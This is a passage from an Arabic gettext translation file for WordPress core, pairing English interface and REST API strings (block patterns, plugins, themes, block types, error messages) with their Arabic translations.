msgstr "اقرأ مقالة <a href=\"%s\" target=\"_blank\">تنقيح الأخطاء في مواقع الشبكة ووردبريس</a>. بعض الاقتراحات هناك قد تساعدك على معرفة ما الخطأ الذي حدث."

#: wp-includes/block-patterns.php:57
msgctxt "Block pattern category"
msgid "Text"
msgstr "نصّ"

#: wp-includes/block-patterns.php:50
msgctxt "Block pattern category"
msgid "Columns"
msgstr "أعمدة"

#: wp-includes/block-patterns.php:43
msgctxt "Block pattern category"
msgid "Buttons"
msgstr "أزرار"

#: wp-includes/block-patterns.php:127
msgctxt "Block pattern category"
msgid "Gallery"
msgstr "معرض"

#. translators: Unit symbol for megabyte.
#: wp-includes/functions.php:477
msgctxt "unit symbol"
msgid "MB"
msgstr "ميغابايت"

#. translators: Unit symbol for kilobyte.
#: wp-includes/functions.php:479
msgctxt "unit symbol"
msgid "KB"
msgstr "كيلوبايت"

#. translators: Unit symbol for byte.
#: wp-includes/functions.php:481 wp-includes/functions.php:486
msgctxt "unit symbol"
msgid "B"
msgstr "بايت"

#. translators: Unit symbol for gigabyte.
#: wp-includes/functions.php:475
msgctxt "unit symbol"
msgid "GB"
msgstr "جيجابايت"

#. translators: Unit symbol for terabyte.
#: wp-includes/functions.php:473
msgctxt "unit symbol"
msgid "TB"
msgstr "تيرابايت"

#: wp-includes/block-patterns.php:155
msgctxt "Block pattern category"
msgid "Headers"
msgstr "ترويسات"

#: wp-includes/class-wp-block-pattern-categories-registry.php:56
msgid "Block pattern category name must be a string."
msgstr "اسم تصنيف نمط المكوّن يجب أن يكون نصًا."

#. translators: 1: WP_REST_Response, 2: WP_Error
#: wp-includes/functions.php:4404
msgid "Return a %1$s or %2$s object from your callback when using the REST API."
msgstr "إرجاع كائن %1$s أو %2$s من رد استجابتك عند استخدام الـ REST API."

#. translators: %s: Block pattern name.
#: wp-includes/class-wp-block-pattern-categories-registry.php:92
msgid "Block pattern category \"%s\" not found."
msgstr "لم يتم العثور على تصنيف نمط المكوّن \"%s\"."

#: wp-includes/class-wp-block-patterns-registry.php:89
msgid "Pattern name must be a string."
msgstr "اسم النمط يجب أن يكون نصًا فقط."

#. translators: 1: Title prefix. 2: Title.
#: wp-includes/general-template.php:1771
msgctxt "archive title"
msgid "%1$s %2$s"
msgstr "%1$s %2$s"

#. translators: %s: Taxonomy singular name.
#: wp-includes/general-template.php:1752
msgctxt "taxonomy term archive title prefix"
msgid "%s:"
msgstr "%s:"

#: wp-includes/general-template.php:4741
msgctxt "admin color scheme"
msgid "Modern"
msgstr "عصري"

#: wp-includes/class-wp-block-patterns-registry.php:98
msgid "Pattern title must be a string."
msgstr "عنوان النمط يجب أن يكون نصًا."

#: wp-includes/general-template.php:1744
msgctxt "post type archive title prefix"
msgid "Archives:"
msgstr "الأرشيف:"

#: wp-includes/general-template.php:1721
msgctxt "date archive title prefix"
msgid "Day:"
msgstr "اليوم:"

#: wp-includes/general-template.php:1718
msgctxt "date archive title prefix"
msgid "Month:"
msgstr "الشهر:"

#: wp-includes/general-template.php:1715
msgctxt "date archive title prefix"
msgid "Year:"
msgstr "السنة:"

#: wp-includes/general-template.php:1712
msgctxt "author archive title prefix"
msgid "Author:"
msgstr "الكاتب:"

#: wp-includes/general-template.php:1709
msgctxt "tag archive title prefix"
msgid "Tag:"
msgstr "الوسم:"

#: wp-includes/general-template.php:1706
msgctxt "category archive title prefix"
msgid "Category:"
msgstr "التصنيف:"

#: wp-includes/class-wp-block-patterns-registry.php:107
msgid "Pattern content must be a string."
msgstr "محتوى النمط يجب أن يكون نصًا."

#. translators: %s: Pattern name.
#: wp-includes/class-wp-block-patterns-registry.php:143
msgid "Pattern \"%s\" not found."
msgstr "النمط \"%s\" غير موجود."

#: wp-includes/ms-deprecated.php:406
msgid "<strong>Error:</strong> Site URL you&#8217;ve entered is already taken."
msgstr "<strong>خطأ:</strong> رابط الموقع الذي أدخلته مأخوذ بالفعل."

#: wp-includes/ms-deprecated.php:415
msgid "<strong>Error:</strong> There was a problem creating site entry."
msgstr "<strong>خطأ:</strong> حدثت مشكلة أثناء إنشاء الصفحة الرئيسية للموقع."

#. translators: 1: Asset file location, 2: Field name, 3: Block name.
#: wp-includes/blocks.php:121
msgid "The asset file (%1$s) for the \"%2$s\" defined in \"%3$s\" block definition is missing."
msgstr "ملف الأصل (\"%1$s\") للحقل \"%2$s\" المحدد في تعريف المكوّن \"%3$s\" مفقود."

#: wp-includes/media.php:4638
msgid "Attachment details"
msgstr "تفاصيل المرفق"

#: wp-includes/media.php:4583 wp-includes/media.php:4605
msgid "Add media"
msgstr "أضف ملفات وسائط"

#: wp-includes/comment.php:2605
msgid "Could not update comment in the database."
msgstr "تعذر تحديث التعليق في قاعدة البيانات."

#: wp-includes/post.php:4459
msgid "Could not insert attachment into the database."
msgstr "تعذر إدراج المرفق إلى قاعدة البيانات."

#: wp-includes/media-template.php:537 wp-includes/media-template.php:782
#: wp-admin/includes/media.php:3342
msgid "File URL:"
msgstr "رابط الملف:"

#. translators: Custom template title in the Site Editor. 1: Template title, 2:
#. Post type slug.
#. translators: Custom template title in the Site Editor. 1: Template title, 2:
#. Term slug.
#. translators: Custom template title in the Site Editor. 1: Template title of
#. an author template, 2: Author nicename.
#. translators: Developer debugging message. 1: PHP function name, 2:
#. Explanatory message.
#. translators: %1s: Name of the taxonomy e.g: "Category"; %2s: Slug of the
#. taxonomy e.g: "product_cat".
#. translators: 1: Theme name. 2: Theme slug.
#: wp-includes/block-template-utils.php:602
#: wp-includes/block-template-utils.php:681
#: wp-includes/block-template-utils.php:803 wp-includes/rest-api.php:708
#: wp-includes/js/dist/edit-site.js:6362
#: wp-admin/includes/class-wp-debug-data.php:1104
#: wp-admin/includes/class-wp-debug-data.php:1123
#: wp-admin/includes/class-wp-debug-data.php:1218
#: wp-admin/includes/class-wp-debug-data.php:1379
msgid "%1$s (%2$s)"
msgstr "%1$s (%2$s)"

#: wp-includes/rest-api.php:2194
msgid "Invalid hex color."
msgstr "لون hex غير صالح."

#. translators: %s: Name of the script or stylesheet.
#: wp-includes/functions.wp-scripts.php:59
msgid "This notice was triggered by the %s handle."
msgstr "تم إرسال هذه الملاحظة بسبب معالج الـ %s."

#: wp-includes/rest-api.php:1702
msgid "Cannot stabilize objects. Convert the object to an array first."
msgstr "لا يمكن حفظ استقرار الكائنات. قم بتحويل الكائن (object) إلى مصفوفة (array) أولاً."

#. translators: %s: Parameter.
#: wp-includes/rest-api.php:2121 wp-includes/rest-api.php:2721
msgid "The \"type\" schema keyword for %s is required."
msgstr "الكلمة المفتاحية للمخطط \"type\" لـ %s مطلوبة."

#. translators: 1: Parameter, 2: List of allowed types.
#: wp-includes/rest-api.php:1640
msgid "The \"type\" schema keyword for %1$s can only contain the built-in types: %2$l."
msgstr "يمكن أن تحتوي الكلمة المفتاحية للمخطط \"type\" لـ %1$s على الأنواع المضمنة فقط: %2$l."

#. translators: 1: Property of an object, 2: Parameter.
#: wp-includes/rest-api.php:2299 wp-includes/rest-api.php:2309
msgid "%1$s is a required property of %2$s."
msgstr "%1$s خاصية مطلوبة لـ %2$s."

#. translators: 1: Parameter, 2: Number of characters.
#: wp-includes/rest-api.php:2611
msgid "%1$s must be at least %2$s character long."
msgid_plural "%1$s must be at least %2$s characters long."
msgstr[0] "يجب أن يكون طول %1$s على الأقل %2$s أحرف."
msgstr[1] "يجب أن يكون طول %1$s على الأقل حرف واحد (%2$s)."
msgstr[2] "يجب أن يكون طول %1$s على الأقل حرفين (%2$s)."
msgstr[3] "يجب أن يكون طول %1$s على الأقل %2$s أحرف."
msgstr[4] "يجب أن يكون طول %1$s على الأقل %2$s حرف."
msgstr[5] "يجب أن يكون طول %1$s على الأقل %2$s حرف."

#. translators: 1: Parameter, 2: Number of characters.
#: wp-includes/rest-api.php:2627
msgid "%1$s must be at most %2$s character long."
msgid_plural "%1$s must be at most %2$s characters long."
msgstr[0] "يجب ألا يزيد عدد أحرف %1$s عن %2$s أحرف."
msgstr[1] "يجب ألا يزيد عدد أحرف %1$s عن حرف واحد (%2$s)."
msgstr[2] "يجب ألا يزيد عدد أحرف %1$s عن حرفين (%2$s)."
msgstr[3] "يجب ألا يزيد عدد أحرف %1$s عن %2$s أحرف."
msgstr[4] "يجب ألا يزيد عدد أحرف %1$s عن %2$s حرف."
msgstr[5] "يجب ألا يزيد عدد أحرف %1$s عن %2$s حرف."

#. translators: 1: Parameter, 2: Pattern.
#: wp-includes/rest-api.php:2642
msgid "%1$s does not match pattern %2$s."
msgstr "لا يتطابق %1$s مع النمط %2$s."

#. translators: %s: The name of a JSON field expecting a valid UUID.
#: wp-includes/rest-api.php:2218
msgid "%s is not a valid UUID."
msgstr "%s ليس مُعرف (UUID) صالحًا."

#. translators: 1: Parameter, 2: The list of allowed types.
#: wp-includes/rest-api.php:2143 wp-includes/rest-api.php:2738
msgid "The \"type\" schema keyword for %1$s can only be one of the built-in types: %2$l."
msgstr "الكلمة المفتاحية للمخطط \"type\" لـ %1$s يمكن أن تكون واحدة فقط من الأنواع المضمنة: %2$l."

#. translators: 1: Parameter, 2: Number.
#: wp-includes/rest-api.php:2438
msgid "%1$s must contain at most %2$s item."
msgid_plural "%1$s must contain at most %2$s items."
msgstr[0] "يجب أن يحتوي %1$s على %2$s عنصر على الأكثر."
msgstr[1] "يجب أن يحتوي %1$s على عنصر واحد (%2$s) على الأكثر."
msgstr[2] "يجب أن يحتوي %1$s على عنصرين (%2$s) على الأكثر."
msgstr[3] "يجب أن يحتوي %1$s على %2$s عناصر على الأكثر."
msgstr[4] "يجب أن يحتوي %1$s على %2$s عنصر على الأكثر."
msgstr[5] "يجب أن يحتوي %1$s على %2$s عنصر على الأكثر."

#. translators: 1: Parameter, 2: Number.
#: wp-includes/rest-api.php:2422
msgid "%1$s must contain at least %2$s item."
msgid_plural "%1$s must contain at least %2$s items."
msgstr[0] "يجب أن يحتوي %1$s على %2$s عنصر على الأقل."
msgstr[1] "يجب أن يحتوي %1$s على عنصر واحد (%2$s) على الأقل."
msgstr[2] "يجب أن يحتوي %1$s على عنصرين (%2$s) على الأقل."
msgstr[3] "يجب أن يحتوي %1$s على %2$s عناصر على الأقل."
msgstr[4] "يجب أن يحتوي %1$s على %2$s عنصر على الأقل."
msgstr[5] "يجب أن يحتوي %1$s على %2$s عنصر على الأقل."

#. translators: %s: Parameter.
#: wp-includes/rest-api.php:2451 wp-includes/rest-api.php:2754
msgid "%s has duplicate items."
msgstr "يحتوي %s على عناصر مكررة."

#: wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:510
msgid "Unable to edit this image."
msgstr "غير قادر على تحرير هذه الصورة."

#: wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:528
msgid "Unable to rotate this image."
msgstr "غير قادر على تدوير هذه الصورة."

#: wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:550
msgid "Unable to crop this image."
msgstr "غير قادر على قصّ هذه الصورة."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php:311
msgid "Limit result set to blocks matching the search term."
msgstr "حصر النتائج على المكوّنات المطابقة لمصطلح البحث."

#: wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:444
msgid "Unable to get meta information for file."
msgstr "غير قادر على الحصول على المعلومات الوصفية للملف."

#: wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:454
msgid "This type of file cannot be edited."
msgstr "لا يمكن تحرير هذا النوع من الملفات."

#: wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:489
msgid "The image was not edited. Edit the image before applying the changes."
msgstr "لم يتم تحرير الصورة. قم بتحرير الصورة قبل تطبيق التغييرات."

#: wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:1331
msgid "URL to the edited image file."
msgstr "رابط لملف الصورة التي تم تحريرها."

#: wp-includes/comment.php:1330 wp-admin/options.php:223
msgid "Please consider writing more inclusive code."
msgstr "يرجى النظر في كتابة كود أكثر شمولاً."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php:276
msgid "The block icon."
msgstr "أيقونة المكوّن."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php:288
msgid "The date when the block was last updated, in fuzzy human readable format."
msgstr "التاريخ الذي تم فيه آخر تحديث للمكوّن، بتنسيق غامض قابل للقراءة."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php:241
msgid "The block slug."
msgstr "الاسم اللطيف للمكوّن (slug)."

#: wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php:968
msgid "The plugin's text domain."
msgstr "الـ text domain للإضافة."

#: wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php:992
msgid "Limits results to plugins with the given status."
msgstr "حصر النتائج على الإضافات بالحالة المُحدّدة."

#: wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:1266
msgid "This username is invalid because it uses illegal characters. Please enter a valid username."
msgstr "اسم المستخدم غير صحيح لأنه يحتوي على رموز أو حروف ممنوعة. يرجى اختيار اسم مستخدم آخر."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php:58
msgid "Sorry, you are not allowed to browse the block directory."
msgstr "عذرًا، غير مسموح لك تصفّح دليل المكوّنات."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php:231
msgid "The block title, in human readable format."
msgstr "عنوان المكوّن، بتنسيق قابل للقراءة."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php:236
msgid "A short description of the block, in human readable format."
msgstr "وصف موجز للمكوّن، بتنسيق قابل للقراءة."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php:251
msgid "The number of ratings."
msgstr "عدد التقييمات."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php:256
msgid "The number sites that have activated this block."
msgstr "عدد المواقع التي قامت بتفعيل هذا المكوّن."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php:266
msgid "The number of blocks published by the same author."
msgstr "عدد المكوّنات المنشورة بواسطة نفس المؤلف."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php:261
msgid "The average rating of blocks published by the same author."
msgstr "متوسط تقييم المكوّنات المنشورة بواسطة نفس المؤلف."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php:271
msgid "The WordPress.org username of the block author."
msgstr "اسم مستخدم WordPress.org لمؤلف المكوّن."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php:246
msgid "The star rating of the block."
msgstr "التقييم بالنجوم للمكوّن."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php:226
msgid "The block name, in namespace/block-name format."
msgstr "اسم المكوّن، بتنسيق \"تسمية / اسم\" المكوّن."

#: wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php:349
#: wp-admin/includes/ajax-actions.php:4198
#: wp-admin/includes/ajax-actions.php:4331
#: wp-admin/includes/ajax-actions.php:4395
#: wp-admin/includes/ajax-actions.php:4495
#: wp-admin/includes/ajax-actions.php:4622
#: wp-admin/includes/ajax-actions.php:4691
msgid "Unable to connect to the filesystem. Please confirm your credentials."
msgstr "غير قادر على الاتصال بنظام الملفات. يرجى التأكّد من صحة بيانات الدخول."

#: wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php:889
msgid "The plugin file."
msgstr "ملف الإضافة."

#: wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php:908
msgid "The plugin's website address."
msgstr "عنوان الموقع الإلكتروني للإضافة."

#: wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php:915
msgid "The plugin author."
msgstr "مطوّر الإضافة."

#: wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php:921
msgid "Plugin author's website address."
msgstr "عنوان الموقع الإلكتروني لمطوّر الإضافة."

#: wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php:928
msgid "The plugin description."
msgstr "وصف الإضافة."

#: wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php:215
#: wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php:657
msgid "Plugin not found."
msgstr "لم يتم العثور على الإضافة."

#: wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php:245
#: wp-admin/includes/ajax-actions.php:4448 wp-admin/plugin-install.php:19
#: wp-admin/update.php:107 wp-admin/update.php:152 wp-admin/update.php:186
msgid "Sorry, you are not allowed to install plugins on this site."
msgstr "عفوًا، غير مسموح لك بتنصيب الإضافات على هذا الموقع."

#: wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php:507
#: wp-admin/includes/ajax-actions.php:4667 wp-admin/plugins.php:269
msgid "Sorry, you are not allowed to delete plugins for this site."
msgstr "عفوًا، غير مسموح لك بحذف الإضافات لهذا الموقع."

#: wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php:253
msgid "Sorry, you are not allowed to activate plugins."
msgstr "عفوًا، غير مسموح لك بتفعيل الإضافات."

#: wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php:542
msgid "Cannot delete an active plugin. Please deactivate it first."
msgstr "لا يمكن حذف إضافة نشطة. يرجى تعطيلها أولاً."

#: wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php:716
#: wp-admin/plugins.php:199
msgid "Sorry, you are not allowed to deactivate this plugin."
msgstr "عذرًا، غير مسموح لك بتعطيل هذه الإضافة."

#: wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php:868
msgid "The filesystem is currently unavailable for managing plugins."
msgstr "نظام الملفات غير متاح حاليًا لإدارة الإضافات."

#: wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php:902
msgid "The plugin name."
msgstr "اسم الإضافة."

#: wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php:750
msgid "Network only plugin must be network activated."
msgstr "يجب تنشيط الإضافة على الشبكة فقط."

#: wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php:55
msgid "WordPress.org plugin directory slug."
msgstr "الاسم اللطيف (slug) لدليل إضافة WordPress.org"

#: wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php:59
#: wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php:896
msgid "The plugin activation status."
msgstr "حالة تفعيل الإضافة."

#: wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php:944
msgid "The plugin version number."
msgstr "رقم نسخة الإضافة."

#: wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php:956
msgid "Minimum required version of WordPress."
msgstr "الحدّ الأدنى المطلوب من إصدار ووردبريس."

#: wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php:962
msgid "Minimum required version of PHP."
msgstr "الحدّ الأدنى المطلوب من إصدار PHP."

#: wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php:950
msgid "Whether the plugin can only be activated network-wide."
msgstr "ما إذا كانت الإضافة لا يمكن تنشيطها إلا على مستوى الشبكة."

#: wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php:938
msgid "The plugin description formatted for display."
msgstr "وصف الإضافة، المُعد للعرض."

#: wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php:934
msgid "The raw plugin description."
msgstr "الوصف الأصلي للإضافة."

#: wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php:116
#: wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php:166
#: wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php:429
#: wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php:499
#: wp-admin/includes/ajax-actions.php:4743
#: wp-admin/includes/ajax-actions.php:4795 wp-admin/plugins.php:13
msgid "Sorry, you are not allowed to manage plugins for this site."
msgstr "عفوًا، غير مسموح لك بإدارة الإضافات لهذا الموقع."

#: wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php:359
msgid "Unable to determine what plugin was installed."
msgstr "يتعذّر تحديد الإضافة التي تم تنصيبها."

#: wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php:451
msgid "The theme author."
msgstr "مطوّر القالب."

#: wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php:456
msgid "The theme author's name, as found in the theme header."
msgstr "اسم مطوّر القالب، كما هو موجود بترويسة القالب."

#: wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php:460
msgid "HTML for the theme author, transformed for display."
msgstr "HTML لمطوّر القالب، مُعد للعرض."

#: wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php:466
msgid "The website of the theme author."
msgstr "الموقع الإلكتروني لمطوّر القالب."

#: wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php:471
msgid "The website of the theme author, as found in the theme header."
msgstr "الموقع الإلكتروني لمطوّر القالب، كما هو موجود بترويسة القالب."

#: wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php:476
msgid "The website of the theme author, transformed for display."
msgstr "الموقع الإلكتروني لمطوّر القالب، مُعد للعرض."

#: wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php:483
msgid "A description of the theme."
msgstr "وصف القالب."

#: wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php:498
msgid "The name of the theme."
msgstr "اسم القالب."

#: wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php:488
msgid "The theme description, as found in the theme header."
msgstr "وصف القالب، كما هو موجود بترويسة القالب."

#: wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php:503
msgid "The theme name, as found in the theme header."
msgstr "اسم القالب، كما هو موجود بترويسة القالب."

#: wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php:513
msgid "The minimum PHP version required for the theme to work."
msgstr "الحدّ الأدنى من إصدار PHP المطلوب حتى يعمل القالب."

#: wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php:518
msgid "The minimum WordPress version required for the theme to work."
msgstr "الحدّ الأدنى من إصدار ووردبريس المطلوب حتى يعمل القالب."

#: wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php:523
msgid "The theme's screenshot URL."
msgstr "رابط صورة لقطة الشاشة للقالب."

#: wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php:534
msgid "The theme tags, as found in the theme header."
msgstr "وسم القالب، كما هو موجود بترويسة القالب."

#: wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php:558
msgid "The URI of the theme's webpage."
msgstr "عنوان URI لصفحة الويب الخاصة بالقالب."

#: wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php:563
msgid "The URI of the theme's webpage, as found in the theme header."
msgstr "عنوان URI لصفحة الويب الخاصة بالقالب، كما هو موجود بترويسة القالب."

#: wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php:575
msgid "The theme's current version."
msgstr "نسخة القالب الحالية."

#: wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php:446
msgid "The theme's template. If this is a child theme, this refers to the parent theme, otherwise this is the same as the theme's stylesheet."
msgstr "نموذج القالب. إذا كان هذا قالبًا فرعيًا (child theme)، فهذا يشير إلى القالب الرئيسي، خلاف ذلك هذا هو نفس ملف تنسيق القالب (stylesheet)."

#: wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php:547
msgid "The theme's text domain."
msgstr "الـ textdomain للقالب."

#: wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php:568
msgid "The URI of the theme's webpage, transformed for display."
msgstr "عنوان URI لصفحة الويب الخاصة بالقالب، المُعد للعرض."

#: wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php:507
msgid "The theme name, transformed for display."
msgstr "اسم القالب، المُعد للعرض."

#: wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php:492
msgid "The theme description, transformed for display."
msgstr "وصف القالب، المُعد للعرض."

#: wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php:541
msgid "The theme tags, transformed for display."
msgstr "وسوم القالب، المُعد للعرض."

#: wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php:529
msgid "Tags indicating styles and features of the theme."
msgstr "وسوم تشير إلى تنسيقات وميزات القالب."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:676
msgid "Parent blocks."
msgstr "المكوّنات الأب."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:429
msgid "Block keywords."
msgstr "الكلمات المفتاحية للمكوّن."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:414
msgid "Block example."
msgstr "مثال المكوّن."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:94
#: wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:754
msgid "Block namespace."
msgstr "تسمية المكوّن (Namespace)."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:669
msgid "Public text domain."
msgstr "النطاق النصّي العام."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:419
msgid "The attributes used in the example."
msgstr "السمات المستخدمة في المثال."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:392
msgid "The list of inner blocks used in the example."
msgstr "قائمة المكوّنات الداخلية المستخدمة في المثال."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:398
msgid "The name of the inner block."
msgstr "اسم المكوّن الداخلي."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:402
msgid "The attributes of the inner block."
msgstr "خصائص المكوّن الداخلي."

#: wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php:63
#: wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php:441
msgid "The theme's stylesheet. This uniquely identifies the theme."
msgstr "ملف تنسيق القالب. هذا يُحدّد القالب بشكل فريد."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:406
msgid "A list of the inner block's own inner blocks. This is a recursive definition following the parent innerBlocks schema."
msgstr "قائمة بالمكوّنات الداخلية للكتل الداخلية. هذا تعريف تكراري يتبع مخطط innerBlocks الأب."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:603
msgid "Inline CSS code that registers the CSS class required for the style."
msgstr "كود CSS مضمن والذي يسجّل فئة CSS المطلوبة للتنسيق."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:607
msgid "Contains the handle that defines the block style."
msgstr "يحتوي على المعالج الذي يُعرّف تنسيق المكوّن."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:599
msgid "The human-readable label for the style."
msgstr "وضع تسمية للتنسيق قابلة للقراءة."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:594
msgid "Unique name identifying the style."
msgstr "اسم فريد يُحدّد التنسيق."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:196
msgid "Sorry, you are not allowed to manage block types."
msgstr "عذرًا، غير مسموح لك بإدارة أنواع المكوّنات."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:210
msgid "Invalid block type."
msgstr "نوع المكوّن غير صالح."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:468
msgid "Title of block type."
msgstr "عنوان نوع المكوّن."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:475
msgid "Unique name identifying the block type."
msgstr "اسم فريد يُحدّد نوع المكوّن."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:482
msgid "Description of block type."
msgstr "وصف نوع المكوّن."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:440
msgid "Icon of block type."
msgstr "أيقونة نوع المكوّن."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:490
msgid "Block attributes."
msgstr "خصائص المكوّن."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:448
msgid "Block category."
msgstr "تصنيف المكوّن."

#: wp-includes/meta.php:1494
msgid "When registering a default meta value the data must match the type provided."
msgstr "عند تسجيل قيمة وصفية افتراضية، يجب أن تتطابق البيانات مع النوع المقدَّم."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:522
msgid "Block supports."
msgstr "دعم المكوّن."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:531
msgid "Is the block dynamically rendered."
msgstr "هل يقدم المكوّن محتوى ديناميكيًا."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:501
msgid "Context provided by blocks of this type."
msgstr "السياق المقدّم بواسطة مكوّنات من هذا النوع."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:512
msgid "Context values inherited by blocks of this type."
msgstr "قيم السياق التي ورثتها مكوّنات من هذا النوع."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:90
msgid "Block name."
msgstr "اسم المكوّن."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:538
msgid "Editor script handles."
msgstr "مقابض سكربت المحرّر."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:558
msgid "Public facing script handles."
msgstr "مقابض البرنامج النصي الموجّه للعامة."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:568
msgid "Editor style handles."
msgstr "مقابض تنسيقات المحرّر."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:588
msgid "Block style variations."
msgstr "تخطيطات تنسيق المكوّن."

#: wp-includes/widgets/class-wp-widget-rss.php:129
msgid "RSS Feed"
msgstr "خلاصة RSS"

#: wp-includes/theme.php:4181
msgid "The post types that support thumbnails or true if all post types are supported."
msgstr "أنواع المقالات التي تدعم الصور المصغّرة أو الصحيحة، إذا كانت جميع أنواع المقالات مدعومة."

#: wp-includes/theme.php:3242
msgid "When registering an \"array\" feature, the feature's schema must include the \"items\" keyword."
